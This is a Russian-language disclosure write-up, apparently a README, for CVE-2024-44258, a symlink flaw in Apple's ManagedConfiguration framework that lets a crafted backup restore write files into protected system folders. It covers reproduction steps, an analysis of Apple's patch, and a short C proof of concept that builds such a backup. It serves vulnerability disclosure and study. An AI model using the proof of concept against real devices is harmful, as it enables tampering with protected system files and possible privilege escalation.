CVE-2024-44258: Уязвимость символьных ссылок в ManagedConfiguration Framework

Краткое описание

CVE-2024-44258 описывает уязвимость символьных ссылок (symlink) в ManagedConfiguration framework и демоне profiled на устройствах Apple. При восстановлении специально созданной резервной копии процесс миграции не проверяет, является ли целевая папка символьной ссылкой, что приводит к несанкционированной миграции файлов в ограниченные области.

Идентификатор CVE

CVE-2024-44258 присвоен данной проблеме. CVE — это уникальные идентификаторы публично раскрытых уязвимостей безопасности.

• Воздействие: Восстановление вредоносной резервной копии может привести к изменению защищённых системных файлов.
• Описание: Проблема устранена с помощью улучшенной обработки символьных ссылок в затрагиваемых компонентах.

Для получения дополнительной информации обратитесь к официальным страницам поддержки Apple:

• support.apple.com/ru-ru/121569
• support.apple.com/ru-ru/121566
• support.apple.com/ru-ru/121563

Подробности

Затрагиваемые компоненты:

• ManagedConfiguration framework
• Демон profiled

Воздействие:

Уязвимость позволяет злоумышленникам использовать символьные ссылки при восстановлении резервной копии для обхода ограничений папок и записи файлов в изолированные или защищённые области. Эта ошибка может потенциально привести к несанкционированному доступу к данным, повышению привилегий или эксплуатации других служб, зависящих от изменённой конфигурации.

Воспроизведение

1. Создать специально сформированную резервную копию

   • Создать символьную ссылку из:
     /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/
     в изолированную папку с использованием домена:
     root@kitploit:~

     SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles
     

2. Добавить нужные файлы

   • Поместить файлы и папки в:
     /private/var/mobile/Library/ConfigurationProfiles
     с помощью HomeDomain.

3. Восстановить созданную резервную копию

   • Восстановить резервную копию на любое устройство iPhone, iPod или iPad.

4. Перезагрузить устройство

   • После перезагрузки проверить содержимое ограниченной области. Вы обнаружите, что файлы/папки были перенесены в ранее защищённое место.

Ожидаемый и фактический результат

• Ожидалось:
  /private/var/mobile/Library/ConfigurationProfiles должны быть перенесены в:
  /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/

• Фактически:
  Из-за созданной символьной ссылки файлы переносятся в ограниченную папку, которая может содержать конфиденциальные или защищённые данные.

Статус эксплойта

Эта уязвимость наблюдалась в дикой природе в течение нескольких месяцев, что указывает на её активную эксплуатацию.

Описание исправления

В iOS 18.1 beta5 Apple внедрила исправление для устранения уязвимости символьных ссылок в ManagedConfiguration framework. Была добавлена функция _MCDestinationPathIsSafeFromSymlinkAttacks, выполняющая проверку безопасности конечного пути и предотвращающая несанкционированную миграцию файлов в ограниченные области. Эта проверка была специально добавлена в функцию MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:.

Затрагиваемая функция: -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]

Исправление уязвимости было реализовано путём изменения функции -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:], которая отвечает за миграцию файлов в рамках ManagedConfiguration framework. Вот как работает исправление:

• Добавление проверки символьной ссылки
  Apple добавила вызов _MCDestinationPathIsSafeFromSymlinkAttacks в начале MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:. Эта функция теперь проверяет, не содержит ли конечный путь символьных ссылок, добавляя уровень защиты перед выполнением операции миграции.

• Условная проверка
  Если _MCDestinationPathIsSafeFromSymlinkAttacks обнаруживает символьную ссылку в конечном пути, миграция блокируется. Функция записывает сообщение об ошибке с помощью OS_LOG_TYPE_FAULT и завершает файловую операцию досрочно.

Сравнение кода

С помощью Diaphora в IDA сравнение версий iOS 18.1 beta4 и iOS 18.1 beta5 показывает изменения в функции -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]. Изображение ниже демонстрирует модифицированный код с добавленной проверкой символьной ссылки.

PoC (Доказательство концепции)

Ниже приведён пример кода, демонстрирующий создание резервной копии, эксплуатирующей уязвимость. Этот код показывает, как добавить символьную ссылку и файлы в резервную копию, имитируя процесс, но не предоставляя фактический файл резервной копии.

unsigned char* plist_data = NULL;
        file_read("/path/to/your/test-outofsandbox.plist", &plist_data, &plist_size); // ЭТОТ ПУТЬ НУЖНО ИЗМЕНИТЬ

    backup_add_directory(backup, "HomeDomain", "Library/ConfigurationProfiles", 0755, 501, 501);
    backup_add_file_with_data(backup, "HomeDomain", "Library/ConfigurationProfiles/test.plist", 0755, 501, 501, 4, plist_data, plist_size); // ДОБАВЛЯЕМ СВОИ ФАЙЛЫ
         
    backup_add_directory(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", NULL, 0755, 501, 501);
    backup_add_symlink(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", "Library", "/private/var/mobile/Library", 501, 501); // ИЗМЕНИТЕ ПУТЬ НА ИЗОЛИРОВАННУЮ ПАПКУ, В КОТОРУЮ ХОТИТЕ ЗАПИСАТЬ ФАЙЛЫ
    
    backup_write_mbdb(backup); // СОХРАНИТЬ РЕЗЕРВНУЮ КОПИЮ
    backup_free(backup);

График раскрытия

• Первое сообщение Apple: [06.07.2024]
• Назначен CVE: CVE-2024-44258
• Публичное раскрытие: [02.11.2024]

Благодарности

Особая благодарность команде безопасности Apple за быструю реакцию и сотрудничество.

Уязвимость обнаружена Hichem Maloufi & Christian Mina

Лицензия

Этот репозиторий распространяется под лицензией MIT. Дополнительную информацию см. в файле LICENSE.